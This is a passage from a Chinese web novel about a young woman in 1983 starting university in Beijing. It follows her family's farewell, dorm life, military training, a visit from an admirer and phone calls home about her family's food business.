说到这里,他自嘲地一笑:“虽然我不一定接受拒绝,但我也不会勉强她。” “所以爷爷,我希望您能支持我。而且……” 他慢慢走到沈老爷子跟前儿,声音低沉:“而且我知道的,爷爷,您其实非常喜欢珍珍,心里也很高兴未来能有一个这样优秀的孙媳妇,对吧?” 沈老爷子、沈老爷子可耻地被说中了心事。 他轻咳一声,故意扭头不去看此刻在他看来一副斯文败类样的小孙子,撵苍蝇似的朝对方挥了挥手:“行了行了,看在你个27岁的老帮菜好不容易遇上个可心对象的份上,我懒得管你,你自己想辙去吧!” 沈瑞:“……” 合着这“老帮菜”是过不去了是吧? 在苏厚德家里美美地休息了一个晚上后,第二天一大早,一家人就早早去了首都的广场,观看升旗仪式。 当鲜艳的红旗伴着东方第一缕霞光缓缓升到半空的时候,所有人的内心都激动不已。 苏卫华夫妻更是红了眼眶,仰头望着飘扬的旗帜许久说不出话来。 观看完升旗仪式,他们就去参观了纪念堂。 在进入纪念堂之前,他们还在广场上一个卖花的小贩那里买了一束菊花。 之后一整天,他们就在市区内一些景点游玩,饿了就品尝老京城的特色美食。烤鸭、爆肚、炒肝、卤煮,炸灌肠,这一天下来,每个人的肚子都饱饱的。 第169章 中途看到热闹的街区上有不少私人开的服饰店,里面的衣服、鞋子时髦又好看,据说都是深市那边的最新款,李翠英没忍住大买特买了一番。 到最后,差不多全家人都买了两身新衣服。尤其是被重点“关注”的苏丽珍,更是从里到外好几身,够穿好长时间了。 等一行人拎着大包小包回到家的时候,苏丽珍还有些懊恼。 明天她就正式开学了,按她爸妈的意思,明天陪她一起去报道,晚上在苏爷爷家里住一晚,后天就要赶上午的火车回凤城了。 这次出来,满打满算也就今天一天的游玩时间。首都的好多景点,他们还没来得及看。 她不禁有些自责,觉得当初应该再提前两天出来,这样家人们游玩的时间才能更充裕。 但家里人却不这么想。 苏卫华夫妻宽慰女儿,他们这一代人对首都都有一种特殊的向往。 他们想来首都,只是单纯因为这里是国家的中心,而对这边的名胜古迹其实没有那么强烈的想t法。 今天他们去了中心广场,观看了升旗仪式,参观了纪念堂,基本上已经完成了年轻时的愿望,这一趟旅行对于他们来说已经很够本儿了。 而且家里又是饭店、又是公司的,每天一大堆事,也不好全都推给苏振东。 退一万步,不说苏厚德的老家就是这里,苏丽珍至少要在这边上四年学,他们今后还有的是机会再来,来日方长嘛! 听了父母这番话,苏丽珍这才收起歉疚的心思。 第二天吃过早饭,一家人就去送苏丽珍去报到。 从苏家到首都大学刚好有直通的公交,一行人八点刚过就到了目的地。 虽然时间尚早,但是这会儿学校门口已经十分热闹了。 苏丽珍看到有许多胳膊上带着“迎新”字样袖章的学长、学姐们负责接引学生和家长。 一个长相清秀的学姐第一时间走过来,在问明了苏丽珍的录取专业后,便主动带着他们去报到地点。 一行人一进入校园,就见校内好多地方都张贴了大大小小的迎新标语,看得人心里热乎乎的。 苏丽珍在学姐的帮助下很快找到经管系的报到处,将自己的录取通知书、户口本等资料递交上去,很快就办完了入学手续,然后领取了自己的宿舍钥匙和一个小方凳。 没错,就是一个小方凳。 苏丽珍领这小凳子的时候,报到处的老师还特意强调了这凳子务必要保管好,平时学校放电影、开大会的时候都能用上,等将来毕业还要交还给学校的。 苏卫华他们一听这话,立马就重视起来了。之后去宿舍的路上,夫妻俩换班拎着这个凳子,生怕不小心撒手弄没了,将来闺女毕不了业。 去宿舍是由苏丽珍的一个同专业学姐帮忙带路。 一路上,学姐一直耐心地给他们介绍学校内部布局以及一应设施情况。经过那些美丽的景色时,也会讲解一二。 要知道首都大学是全国顶级名校,历史悠久,校园里栽种了许多颇有观赏价值的花草树木,景色十分优美,所以它本身也是首都的一个重要景点。 一行人边走、边赏景,只觉大饱眼福。 等到了宿舍楼下,大家一度还有些意犹未尽。 女生宿舍是一栋四层的楼房,外表看着很是整洁气派。 她的寝室在二楼,而且运气不错,是个阳面的房间。 苏丽珍是第一个到的人,一进门,她就忍不住四处打量起来。 这间寝室是六人寝,总共三张上下铺。其中临窗两张床铺中间是是一张方桌;靠近房门一侧是第三张上下床,床对面就是一套组合柜,柜子直接分成六个长宽五十公分的正方形小柜,对应寝室六个人。 此外,寝室的墙面似乎是今年新粉刷的,洁白一片;桌椅、床架也都是簇新的。这条件放现在来看就是很好的了。 苏卫华他们也觉得满意。这宿舍虽然不太宽敞,但整体环境不错,硬件设施也都齐全。尤其刚才来的时候,他们特意观察过了,知道这一层的水房和厕所在楼梯另一面,离这间寝室还有点距离,不用担心潮湿和异味问题。 宿舍的床位没有标姓名,基本谁先到,谁先选。 苏丽珍想了想,选了临窗、靠近暖气片的床位上铺。 她其实更喜欢下铺,只是看着中间那张方桌距离两边的床铺都很近,将来要用桌子的人可能很自然就会坐到床铺上。 这种事也不好拿出来特地说一说,毕竟以现在人的观念,这样容易显得人小气、不合群,但她实在不喜欢睡觉的床被人频繁当凳子坐。要是没得选也就罢了,到时候只能麻烦点,在入睡前另外换床单。 现在是她第一个选,那自然各方面都要考虑到,干脆直接挑个上铺好了。反正她不恐高,而且上面的空间还更大一些。 屋子里挺干净的,只是有一层薄灰,很好清理。 怕苏爷爷和孟姑爷爷之前走累了,苏丽珍把下铺也顺手擦洗了一遍,让两位老人坐下休息。 之后就是铺床,整理行李。因为他们人多,这点活儿没一会儿工夫就干完了。 见一切收拾妥当,大家准备出去再好好逛逛校园,凑巧这时,寝室里又来人了。 第二个来的女生个头高挑,长得浓眉大眼,很有几分英气。 她是自己一个人来的,带的行李也不多,一进来就热情地跟苏丽珍一家打招呼。 苏丽珍之前还纳闷怎么有人行李这么少,直到一听对方开口,便明白这地道的口音必定是首都人了。 果然,女生自我介绍叫管明月,跟苏丽珍一个专业,家就在首都,是土生土长的本地人。 管明月直接选了苏丽珍的下铺,一听说他们已经提前帮忙清理过了,连道了两声谢,二话不说就把自己带的被褥铺了上去。 苏丽珍看得出这姑娘是个爽朗性子,想来应该很好相处。 管明月虽然只有一个人,但是因为携带的行李不多,打理起来很方便。苏丽珍看她没什么需要帮忙的地方,就跟对方打招呼,准备待会儿回苏家,等傍晚再回来。 管明月痛快地答应了一声,还表示如果学校有什么通知会帮她记着。 苏丽珍道过谢,就跟家人离开了。 回去之前,照例先在校园里又逛了逛,眼见时间不早,一行人才回家。 今天还有一个重要任务,苏厚德还要请老邻居们吃顿饭。 于是回去的路上,他们又到自由市场买了不少食材,一到家就开始忙活。 这一片跟苏家关系比较好的街坊四邻不少,苏厚德粗粗估算了一下,就算一家只来两个人,少说也得预备三张桌。 时间有点紧,好在他们人多,大家又是都是在饭店干惯了的,厨房里的活计做起来都得心应手,也不算为难。 不过这半上午到底是没闲着过,苏丽珍不想家里人太疲劳,毕竟明天还要赶火车,于是说服苏厚德,按照他的建议,找了家手艺厉害的国营饭店打包了几样菜回来。 因为有一半的菜是苏厚德亲自掌勺,加上李翠英近些年的厨艺也大有“青出于蓝”的架势,所以中午这顿饭是既丰盛又美味,街坊四邻们吃得尽兴又开怀,一叠声地夸赞个不停。 苏厚德拿出自己珍藏多年的好酒,拉着苏丽珍挨个给老邻居们倒酒。 他趁着敬酒的工夫,对众人说起自己这个干孙女考上了首都大学,平时在学校上课,等周末的时候会回这边住。他不在这里,所以拜托大伙儿务必帮忙多照看照看。 这也是之前苏厚德主动提出来的。 苏丽珍虽然人在首都上学,但是凤城那一大摊子事也不能丢下。之前她和苏振东、丁大勇他们约好,每周都会打电话交流工作上的事。 就算如此,两个公司那么多事,也不能光靠每周那一、两个电话解决。平常来往书信、文件肯定不少,加上苏丽珍这边为了随时解读各项政策、把握市场动向,经常要收集和查阅许多信息资料。 这些事情放在一起,在学校里未免太过打眼。 所以苏厚德就提出,让苏丽珍周末放假的时候来自己家里处理这些公务。 正好苏丽珍自己其实也不太想引人注意,当下稍一考虑就欣然接受了苏爷爷的提议。 苏厚德这边,虽然主动建议苏丽珍放假的时候过来小住,但是到底还是担心苏丽珍自己一个人在这边没个帮衬,所以就想借着这顿饭的机会,先跟相熟的老邻居们打好招呼,好为自己的干孙女求个照应。 其实他们这一片因为都是多年的坐地户,治安一向不错,这么多年连小偷小摸的都没有。加上现在开始严打了,安全上基本没问题。 但苏厚德还是放心不下。在他看来,这不光是安全的事。孩子平常要学习,又有那么多工作要处理,回家里还什么都要自己做,实在辛苦! 他之前甚至和姐夫商量,想带着姐夫和芽芽回来,在这里陪珍珍四年。 姐夫没同意,还劝他不能带着芽芽来回折腾,说频繁换环境既影响孩子心态,也不利于学习。所以他只能作罢。 现在,他就只能请求老邻居们替他多照顾照顾孙女了。 这会儿苏厚德的语气十分郑重,街坊四邻们自然感受到他这份疼爱孙女的拳拳之心。 其实大伙儿也不是瞎子,也看得出老苏跟这后认的干儿子一家十分亲近,彼此相处得简直比亲生的还要融洽。 尤其老苏这干儿子一家看t着也不像是奸猾之人,穿衣打扮上也能显出几分条件来。这样的人家能这么尽心尽力地对老苏,想来也不为图什么。 毕竟老苏这些年日子过得不容易,掰着指头数,拢共也没过过几年安生日子,又有啥值得人图谋的呢? 反倒是现在,带着离婚的儿子、孙女和干儿子一家在东北呆了两年,这小老头人也胖了,腰板也直溜了,精神头更是比以前足几倍,一看就知道日子过得舒心。 也难怪他要这样费心为干孙女张罗了。 街坊邻居们明白老苏的想法,也为老苏如今能安享晚年而高兴,当即一个个不由分说就满口答应下来。 苏丽珍在旁边看着苏爷爷一心一意为她打算,心里热烫得厉害。 甚至控制不住地有那么一点后悔,当初似乎不该把志愿报的这么远。要是在凤城,就能每周都和她心爱的家人见面了…… 等好不容易压下这股念头,她不禁苦笑。 幸好别人听不到她的想法,要不然一定认为她张狂骄傲,故意显摆。 这顿饭一直吃到下午一点多才结束。客人们吃得十分尽兴,大家也没急着回去,而是留下来帮着苏家人一起收拾桌席,等屋子里外都清理干净才离开。 第170章 送走客人后,大家又休息了一会儿,等到下午三点半,苏丽珍就得回学校了。 今天是第一天报到,她不好回去太晚。再者,她还有些日用品没买,待会儿回去还要顺路去趟百货公司。 这一趟只有苏卫华两口子陪着她,其他人也想再跟着去送,都被苏丽珍拒绝了。 其实这点路程她自己完全没问题,只是拗不过她爸妈。但是其他人老的老、小的小,这都已经忙碌一天了,实在不能再折腾了。 临别之际,虽然众人早已做好心理准备,但真到了这一刻,大家还是觉得难受。 苏小麦和芽芽都红了眼眶,苏厚德也握住苏丽珍的手舍不得撒开。 苏丽珍看他们这样,心里也难受,只能强打起精神宽慰他们,保证自己一放寒假就立马回去。 苏厚德他们没能送成苏丽珍,却个个都为她准备了一份礼物,连最小的芽芽都有份。 大家送给苏丽珍的礼物都是红包。 红包实在、寓意又好,是他们一起悄悄商量好的结果。 苏丽珍这次没有拒绝,因为她知道这些都是家人们对她的爱,她没法拒绝。 就这样,拿着厚厚一摞红包,再加上苏卫华夫妻强硬塞给她的一大笔钱,苏丽珍回去的路上不得不先去了一趟储蓄所,把这些现金换成更方便保管的存折。 之后又去百货公司,果然如沈瑞说的那样,现在首都的大多数工业品都不需要票证了,所以他们很顺利地买齐了要用的东西。 从百货公司出来,再步行个十分钟就能到苏丽珍的学校。 夫妻俩一路上不停叮嘱着闺女要照顾好自己,别不舍得花钱之类的话。苏丽珍一直认真听着,哪怕这些话爸爸妈妈已经不知道反复念叨了多少遍。 十分钟很短,不知不觉一家人就走到了校门口。夫妻俩再割不舍,也不得不在此跟女儿分别。 “珍珍!” 分别之际,李翠英忽然拉住女儿的手,如同看待最珍爱的宝贝一样,轻声道:“珍珍,妈希望你能好好享受自己的大学生活。不要那么累,也不要再给自己增加那么多负担。” “妈希望你明白,无论什么时候、发生什么事情,你永远都是我和你爸的女儿,是我们的宝贝。只要你好好的,我们就知足了。” 苏丽珍鼻头一酸,意识到那天晚上自己问的问题到底是让妈妈察觉到了什么。 但是妈妈从来没有因此追问过她,更没有怀疑过什么。 她只是单纯地担心她,怕她钻牛角尖。 一直如此。 苏丽珍觉得人生最大的幸福也莫过于此。可惜她悔悟的太晚,前世整整错过了一生。 当苏丽珍进入校园,走出一小段距离后,她忍不住驻足回望,果然看见苏卫华夫妻还停留在原地目送她离开。 李翠英捂着嘴,似乎在哭,苏卫华在旁边紧紧搂着妻子的肩膀。 苏丽珍终于忍不住落下了眼泪。 她飞快抹了一把脸。 不能哭,她告诉自己。所有的道路都是她提前设想好的,为了更好的未来,为了她挚爱的亲人,她什么都愿意做。 而这只是暂时的分别而已,她可以的。 回到寝室,这会儿寝室里六个人都已经到齐了。 大家互相自我介绍了一下,除了上午认识的管明月,另外四个女孩是陈红梅,吕新芳,刘思彤,万美君。其中陈红梅和吕新芳也是经管系的,刘思彤和万美君是外语系的。 六个女孩子,年龄最大的是吕新芳,今年23了,据说是复读了两年。 年纪最小的是苏丽珍,19岁。然后一个晚上的时间,她就喜提了一个“小六”的外号。 第二天早上八点,所有经管系的83界新生一起在经管系教学楼前集合。 苏丽珍和管明月是经济学专业,陈红梅和吕新芳是金融学专业。两个班挨着,出来进去基本都能碰见。 开学第一天,第一件事是领新教材和明天军训用的绿军装,然后辅导员给大家开了个班会,简单交代了一些注意事项。 辅导员姓刘,是一位风度翩翩的中年男士,也是教他们政治经济学的讲师。 刘导员给他们开完班会,又询问大家有没有自荐代理班长的。 苏丽珍有些心动,可她还没来得及伸手,旁边的管明月就第一时间高高举起了右手。 刘导员同意了,暂时让管明月担任他们班的代理班长,负责从今天起一直到军训结束期间的班级各项事宜。 等军训结束后,再由大家一起投票,确定班长的最终人选。当然,有其他想要竞选的人随时可以报名。 不过按照惯例,基本上绝大多数代理班长到最终竞选的时候,都能成功把前面“代理”两个字去掉,除非在此期间有什么重大过失。 但是都能考上首都大学了,估计也没谁会蠢得犯那么大的错。 为此,苏丽珍心里有点小小的遗憾。她想竞选班长,一方面是想多锻炼自己;另一方面也是想借此有更多机会跟各方面沟通,拓展人脉。 不过也没关系,这世上好东西多了,她不可能都占全了。 况且她都已经站在了这块钟灵毓秀的宝地,锻炼能力和拓展人脉的机会有的是,事在人为而已。 开完班会,宣布完代理班长,刘导员又叮嘱大家待会儿散会后去系里领取本月的生活补助。 他们的生活补助金每月21元。 每人每月粮食定额30斤。如果不够吃,学生需要自己带粮食到教务处换成粮票。 另外,食堂只收饭、菜票,所以吃饭前还需要提前把手里的钱换成饭票和菜票。 比如买一碗小米粥,就要一两的粮票加二分钱饭票。 一个二两的杂面馒头,就要二两的粮票加三分钱饭票。 一份炒土豆丝,六分钱,要收六分钱菜票。 他们首都大学的食堂有两道很出名的菜肴:扒肉条和干烧肉,也是价格最贵的菜,都是四毛钱一份。 但这价钱放外头国营饭店,你连半盘都买不来,还是比较划算的。 除了钱和粮票,每人每学期另外还有4张理发票和12张澡票,都是免费的。 上午领完补助,下午大家又集体照了大头照,用做留档以及制作学生证、图书证等证件。 拍照结束后就是大家自由活动的时间了,开学第一天还是比较轻松的。 然后,接下来就是为期十二天的军训。 苏丽珍之前一直觉得自己身体素质不错。她本身就不是时下常见的纤瘦体型,属于乍一看挺瘦,但是仔细看很有肉那种。 而且高中三年,不管学习再怎么忙碌,她都要抽空起来活动一番,空闲的时候还经常在店里干活。这几年,她都没怎么生过病,身边认识她的人也都觉得她体格很好。 可没想到,等她实打实地接受部队正规训练后才发现,之前绝对是高估自己了。 就算最t基础的列队、站军姿,这一天下来,苏丽珍都有点扛不住了。 基本上就是在咬牙坚持,她想着自己好歹两世为人,尤其上辈子最后在米国流浪那两年的经历,对比现在这点苦,后者简直是九牛一毛。 既然那时候都能坚持,现在有啥挺不过去的! 反正她最后全靠一口气撑着。 其实不光苏丽珍,学生中除了那些经常在家干农活的人,其他大部分城市里的孩子表现都差一些。 就说苏丽珍寝室里排行最大的吕新芳,同样参加军训,人家一天下来还神采奕奕,没事人似的。 用她的话说:“嗐,这比我们村里的农活强多了!起码不用总弯腰,也没有扎人的麦芒,那才是又累又遭罪。尤其双抢的时候,是真能把人累坏了。” 大家听了又羡慕、又佩服。 这种状况直到两、三天后,身体逐渐适应了这种训练节奏和强度才开始缓解。 而且也不知道是不是因为运动量大了,连带苏丽珍这段时间胃口都大了不少。 本来从前在家,她一顿二两米饭就够了。军训第一天中午,她怕午饭吃得少,下午坚持不下去,特意多加了一两米饭,没想到半下午的时候,肚子还是饿得咕咕直叫。 她只能默默把自己的饭量加到四两。 就这,管明月还说她是“小鸟胃”。 管明月一顿五两大米饭加二两杂面馒头,跟一些人高马大的男生胃口不相上下。关键苏丽珍能看出来,她这似乎还留有余地,完全像是可以接着吃的样子。 其实现在的人主要是肚子里没有油水,所以主食才吃得多, 但是管明月纯粹就是胃口好。 管明月的父亲是首都第二机械制造厂的车间主任,她妈是街道干部,她上面两个哥哥也都有工作。她这条件不说在他们班,就算放在今年所有的新生里,也是相当不错的水平。 而且管明月食量虽大,但她人也长得高挑健美,很有一把子力气,身体素质尤其好。这次军训,她表现得特别出色,多次被教官表扬,还被特地安排到前排当领队。 相比之下,苏丽珍的表现只能算是普通。 对此,她想得很开。毕竟身体素质这方面,如果先天不占优势,后天又没有长时间坚持锻炼,那她现在这平平常常的表现只能说很合理,她也没啥不服气的。 但有时候吧,不是你想着不起眼就不起眼的,总有些地方会莫名成为大家的关注点。 就说这次军训期间,不但没下过一滴雨,就连阴天多云的时候都没有。首都的秋老虎又实在威猛,白天里头顶上的大太阳简直能把人晒掉几层皮。 大家承受这样高温热晒的考验,几天下来就避免不了晒黑。 唯独苏丽珍,几乎跟之前没啥变化,还是一样白到发光。 于是,在一众晒得黑溜溜的小黑人里,冷不丁站着这么一个白生生的人,可别提多显眼了。 一开始大家以为是她用了防晒霜的缘故。可是众人很快就发现有些女生一样使用防晒霜,但最多只是保证皮肤没被晒伤,肤色还是避免不了变黑了许多。 一时间,好多女生都对苏丽珍羡慕不已。 几乎每天都有不同专业、甚至不同系的女生悄悄来问她是怎么保养皮肤的,为什么晒不黑。 这还不算。有一天中午,她和室友们一起在食堂吃饭,刚一坐下,就听见身后桌有人小声道:“看,经管系的大白!” 苏丽珍:“……” 管明月刚塞进嘴里的一口饭差点喷出来。 然后,就听后头又有人接话,还是十足感慨的语气:“大白可真白啊,比额们那地方方最白的白面馍都白!” 正拿着一个馒头准备吃的苏丽珍:“……” 室友们都在努力憋笑,管明月差点憋出内伤! 自此以后,苏丽珍就光荣地又添了一个新外号。 室友们一会儿管她叫“小六”,一会儿叫她“大白”。 其他寝室的女生来串门也跟着“大白”“小白”的叫。 军训中期的时候,正好赶上一次周日,大家放了小半天假。 苏丽珍正在寝室里一边整理衣服,一边和室友们聊天,就听外头走廊冷不丁有人喊了一嗓子:“212的白同学,楼下有人找!” 212的其他五个室友愣了一瞬,然后集体把目光投向苏丽珍。 苏丽珍:“……” 好了,开学七天半,她连老苏家的姓都要保不住了。《 》 170-180 第171章 苏丽珍跟帮忙喊她的学姐道了谢,就匆匆下了楼。 她原本以为来找她的人是谢芳芳。 这姑娘参加学校军训的第二天就给她写了封长信,满纸都是抱怨训练的辛苦。 苏丽珍一直都知道谢芳芳是有些娇气的,毕竟这些年她在家基本就是小公主一样,恐怕一时半会儿很难适应这个军训模式。她收到信后是一点没敢耽搁,匆匆写了封回信,好顿宽慰开解,又不停加油鼓劲,希望小姑娘能把这十多天好好坚持下来。 今天周天下午放了小半天假,苏丽珍以为是谢芳芳按耐不住,直接跑过来找她,没想到等出来了才知道,来人居然是沈瑞! “沈大哥!你怎么来了?” 沈瑞不着痕迹地迅速打量了苏丽珍一番,确定她没有任何变瘦的迹象,精神头也很不错,甚至在这几天连续高温的秋老虎暴晒下,皮肤都没怎么变黑,还是一样的水灵白嫩,心里的担忧放下了不少。 他温和地笑道:“我也算是受人之托。是爷爷担心你刚过来没几天,又要参加军训,加上这几天天气实在炎热,怕你身体适应不了,所以特地让我过来看看,给你捎点东西,也省得德叔和苏叔、苏婶他们惦记。” 苏丽珍恍然大悟,原来是这样! 想着沈家这位老爷爷无论在电话里、还是现实见面后就一直十分喜欢她,言谈间也是关怀备至,苏丽珍的心里不由软软的。 她忙道:“我挺好的。一开始确实不习惯,但这两天已经能渐渐适应了。” 又问对方:“沈爷爷这几天怎么样?我记得上次去,听他老人家说过,最受不了这种燥热天气,那他老人家还好吧?” 沈瑞看她关心自家爷爷的神情真切又自然,心中愉悦,看着苏丽珍的目光越发温柔,但嘴上却毫不犹豫地卖起了“惨”:“提起这个,我就不免发愁。这几天因为天热,他总是贪凉,经常趁我们不注意偷吃冰箱里的西瓜和冷饮。” “要不是前天晚上,被我发现,我们还不知道他又开始胡乱吃东西了。” “三年前,他就是因为乱吃东西,导致胃痉挛,进而引发心脏病发作,才不得不紧急做了手术。这件事当初把我们全家人都吓坏了,我们现在是真的怕他又乱来。” 嗯,虽然有些夸张,但前因后果大致是这么个情况。就算将来爷爷知道了,大概率也会继续配合他,毕竟能由此得到更多来自未来孙媳妇的关注,怎么看都比较划算。 沈家,正捧着绿豆汤喝得起劲的沈老爷子忽然打了一个大喷嚏,吓得老爷子赶紧探头四外瞅了瞅。幸好没人注意,要不然手里这碗绿豆汤也保不住了! 他将剩下的半碗汤一口气干了,之后砸吧砸吧嘴,有点遗憾地想着这绿豆汤虽然也好喝,但是照比奶油冰棍还是差了点。 想起奶油冰棍,他就忍不住想起前儿晚上他从冰箱里偷拿的那根。哎呀,冰冰凉凉,甜丝丝的,可真好吃! 可惜他才吃一口,就被臭小子发现,当场就给他没收了。这还不算,臭小子还发动全家人一起批评他,甚至第二天就把冰箱里全部的冰棍都拿走了。 想起来,他就心口疼! 臭小子,真不讲义气! 还想让他帮忙追求未来孙媳妇,真是年纪越大、想得越美! 他才不帮……反正这几天不帮! 哼,急死你个老帮菜! 这边苏丽珍听完沈瑞的话,不由十分担心,忙追问道:“那沈爷爷现在怎么样?有没有哪里不舒服?” 沈瑞宽慰道:“因为被我发现得早,所t以他吃的不多。现在只要我们能把他看住了,不再由着他想吃什么就吃什么,应该问题不大。” 苏丽珍闻言,这才稍微放心些。 “没事就好……沈大哥,我下周五军训就结束了,周末能休息两天,我到时候想去看看沈爷爷。” 沈瑞心情愉快,面上只故作沉吟道:“也好,这几天他跟我有点闹脾气。不过爷爷他很喜欢你,你去了,他应该会很高兴。” 苏丽珍听得哭笑不得,心里越发打定主意,等下周六军训一结束就去一趟沈家。 打听完了沈老爷子,苏丽珍顺口又问了沈瑞一句:“对了,沈大哥,你在首都的事情处理的怎么样?打算什么时候回深市或者凤城。” 她还记得对方近期会有许多大动作,接下来几个月应该会很忙,大概是没那么多时间在首都停留的。 果然,沈瑞答道:“我在这边最多还能待上一周时间。” 事实上,如果不是为了某人,他压根没必要回来这一趟,更遑论还盘桓了这么久。不说马上要动工的凤城和津市的分厂,就是深市那边,周明义也是一天几个电话的催,所以再拖一个礼拜就算是极限了。 苏丽珍听罢,点了点头。 两人简单聊了几句后,因为是在人来人往的女生宿舍楼下,加上沈瑞又长得实在招眼,出来进去的女生们总会时不时地偷瞄几眼。 沈瑞倒不怕别人看,但也不想引来太多关注,现在社会风气仍偏向保守,说不好会给苏丽珍带来什么不必要的麻烦,所以很快就离开了。 他走时,留给苏丽珍一大包东西,说是沈爷爷叮嘱他一定要送过来的,苏丽珍推辞不过,只好收下。 这一大包东西入手就沉甸甸的,苏丽珍一路拎着回寝室还挺费劲。 等到了寝室一打开,只见里面有酱牛肉、烤鸭、猪肉脯、鱼罐头,一大兜水果和一包那天苏丽珍在沈家吃过的杏脯。 最边上还有两瓶封得严严实实的药瓶,一瓶是外用的药酒,专治各种铁打损伤;另一瓶是防暑解热的藿香正气水。 苏丽珍没想到沈爷爷居然这样细心,还给她准备了这些药品。 她自己其实也带了一些药来,但是主要都是治疗头疼感冒之类的毛病,哪成想军训这么锻炼人,首都的秋老虎又是这么霸道呢? 她仔细地将两瓶药水收好,军训还没结束,说不定能用得上。 之后,她就把包里的食物拿出来放在寝室中央的方桌上,招呼室友们过来一起吃。 沈瑞很细心,带来的酱牛肉和烤鸭都是提前分切好的,打开油纸包就能直接吃。 大家也没客气,活泼如刘思彤、万美君更是兴奋地一左、一右抱住苏丽珍,大呼今天是“解馋日”。 管明月更是自己动手,先捏了一片酱牛肉往嘴里塞。 苏丽珍的几个室友,除了吕新芳家里困难些,其他人的条件都不错,刚来的时候就彼此分享过各自的家乡美食。 军训开始这一周,管明月的两个哥哥也来给她送过吃的,也是大家一起分着吃。 这方面,吕新芳能分享的不如大家的多。这时如果是一个心气儿高的人可能就会选择拒绝,或者生怕别人误会自己占便宜而远远躲开。 但是吕新芳从来都是大大方方的,别人诚心邀请,她就乐乐呵呵接着,而且很有分寸,既不破坏气氛、也不贪多。知道自己没法分享给大家什么,她就默默接过一些力所能及的事。 比如军训时,帮累得半死的室友们打开水,帮大家拉伸,主动承担打扫寝室的任务,像一个爱护不成器的妹妹们的大姐姐那样,以此回报大家。 包括苏丽珍在内都十分欣赏她这种性格,因此学校让各寝室选寝室长的时候,所有人都毫不犹豫选择了吕新芳。 也不知道是不是人多吃东西更香,苏丽珍跟室友们你一口、我一口的,不知不觉就吃了个肚儿圆。 她摸了摸鼓溜溜的肚子,合计今天的晚饭怕是不用吃了。 人一吃饱喝足就容易犯懒,大家这会儿都忍不住瘫在各自的床上,一边放松,一边有一搭没一搭地唠嗑。 苏丽珍也赖了一会儿床,等到下午三点半以后,外面的日头不是那么足了,就立马收拾收拾起来,准备出去给家里人打电话。 管明月和吕新芳听说她要出去,都表示要陪她一起,苏丽珍没答应。 好不容易能休息这小半天,加上外面热气也没有全消,她不想劳烦自己的室友。 现在她们的宿舍楼里没有安装电话,系里倒是有两部,刘导员也说过,大家如果遇到急事可以去系里借电话。 话虽如此,但整个经管系那么多师生,全指着这两部电话呢。所以不是赶上什么十万火急的事,谁也不好意思平白去借这个电话。 苏丽珍要打电话只能去学校对面的邮电局。 其实首都作为国家的政治经济中心,这两年电话的普及率还是远超其他地方的。 她听管明月提过,早在82年的时候,首都就在市区内投建了22座投币式公用电话亭。只不过这些公用电话只能接打首都范围内的短途电话,没法打长途。 普通人如果想打长途电话,只能去首都的电报大楼或者规模大一些的邮电局。 学校对面的那家邮电局就刚好可以打长途。 其实中午吃完午饭的时候,苏丽珍就想过去了,只是当时她过去那会儿,好家伙,等着打电话的人都已经排出邮电局大门外七、八米远了。 没办法,她只好先回去了。 这会儿已经下午三点半了,她估计人应该能少一点了。 跟她猜想的一样,等她到了邮电局的办事大厅时,排队的人果然少了许多,只有十来个人的样子。 别看这十来个人也不少,但现在长途电话费贵得很,轻易没人打。就算打了也像发电报似的,主打言简意赅。很多人都是紧赶慢赶,争取一分钟内就把要说的话说完。 果然,苏丽珍在后面看着,前面有好几个人讲电话的时间都没有中间话务员一级一级转线的时间长。 等了半个小时,终于轮到苏丽珍前面的人。 这时,柜台里的另一位工作人员给苏丽珍递来一张单子让她填。 这张单子主要是填写接、打电话双方的姓名和所在单位。 苏丽珍见状,忙又跟对方多要了两张单子。 邮电局的工作人员显然没想到她要打这么多个电话,还反复跟她确认:“小姑娘,你是怕写错吗?咱们这个单子是可以勾的。” 等确定苏丽珍是真的要打三个电话,那工作人员才又给她拿过来两张单子。 苏丽珍填好三张电话单,递给工作人员。 这时排在她前面的那个人刚好打完电话,轮到了苏丽珍打。 苏丽珍第一通电话自然是先打给家里。分别一周,她心里对家人的思念一刻也没有停止过。 这家邮电局规模很大,局里接凤城的专线有好几条,苏丽珍没等多长时间就接通了饭店。 接电话的人正是苏卫华。 “珍珍啊,闺女,你好不好?军训累不累?我听来店里吃饭的人提起他们有同事这几天出差到首都,说那边这阵子特别热!你没有热坏吧?” 苏丽珍心里软成一片,赶忙说自己没事,军训也完全适应了,现在一切都好。 电话那边苏卫华似乎松了口气,可没等他接着问,电话就被李翠英抢走了,话筒里响起妈妈的声音:“闺女,多给自己买点好吃的!缺啥就买,千万别不舍得花钱,妈过几天还给你寄!” 苏丽珍好笑,她妈现在也这样财大气粗了。明明他们离开首都前一天,他们陪着她一起办的存折,里面的钱够她好吃好喝在首都过两年了。 然后又是苏厚德的声音:“珍珍啊,要是遇到啥难事就去找你王爷爷、王奶奶他们,别怕麻烦他们,爷爷都交待好了,他们不敢不答应!” 还有苏小麦:“珍珍,你军训下周五就结束了吧?那我现在给你写信,刚好等你军训完就有时间看信、回信了。” 以及带着重重鼻音的芽芽:“姐姐,我想t你了……” 苏丽珍吸了吸鼻子,最后在家人浓浓的关爱与不舍中,艰难地挂掉了这个电话。 稳了稳情绪,她又让工作人员给她往食品公司拨号。 食品公司当时安装了两部电话,苏振东的办公室一部,综合办公室一部。 她直接打的苏振东的办公室,电话也很快接通了。 第172章 苏振东接到她的电话很高兴。因为今天是星期天,他猜想苏丽珍有可能放假,所以今天一整天都待在办公室,连午饭都是托别人帮忙打上来的。 电话里,苏振东简单跟苏丽珍汇报了一下这一周公司的情况。 上周苏家人回去时,苏丽珍把自己在火车上做的关于拓展铁路销售渠道的计划书也让家人一并带了回去,交给苏振东。 苏振东看过后,对这个计划大感惊喜,并马上着手开始实施。 电话里,苏振东告诉苏丽珍,如今他们已经初步和凤城市铁路局客运段的部门领导达成协议。最迟九月底,公司的各种卤味、熏味食品就会在他们辖内的各条线路上全面铺开。 到时候凡是归属凤城铁路局范围内的车站、月台及列车上,都能买到“珍珍”的相关产品。 同时,苏丽珍在计划里提出的宣传手册、海报和铁路版纪念书签,苏振东也已经跟铁路局的人协商好,可以按照苏丽珍的计划投放。 目前,宣传手册和海报,苏振东亲自请了一位凤城美院的老师参与设计,然后又到印刷厂实地考察,选取了最好的材料来印制这一批宣传产品。 预计下周三,这第一批宣传手册和海报就能制作完成。 到时候,旅客们在车站内外、月台和列车车厢上都能看到属于他们公司的宣传作品。 最后是专供铁路销售的产品纪念书签。 平时,百货公司和自有门店的卤鸡零售价是4元一只,放火车上则要卖到5.5元。 